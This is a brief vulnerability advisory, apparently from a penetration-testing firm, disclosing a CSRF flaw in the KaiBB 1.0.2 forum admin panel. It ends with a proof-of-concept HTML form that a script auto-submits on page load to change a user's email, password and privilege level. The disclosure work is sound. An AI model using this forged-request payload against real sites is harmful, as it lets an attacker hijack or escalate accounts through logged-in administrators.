Vulnerability ID: HTB22793 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_kaibb.html Product: KaiBB Vendor: Mi-Dia ( http://www.kaibb.co.uk/ ) Vulnerable Version: 1.0.2 and probably prior versions Vendor Notification: 13 January 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "admin/core/account.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?area=users&s=account&a=USERID" method="post"> <input type="hidden" name="regemail" value="email@xxxxxxxxxxx"> <input type="hidden" name="regpass" value=""> <input type="hidden" name="regname" value="test"> <input type="hidden" name="justip" value="0"> <input type="hidden" name="reglevel" value="2"> <input type="hidden" name="rankselect" value="1"> <input type="hidden" name="sfrozen" value="0"> <input type="hidden" name="notes" value=""> <input type="hidden" name="signature" value=""> <input type="submit" id="btn" name="Submit" value="Update"> </form> <script> document.getElementById('btn').click(); </script>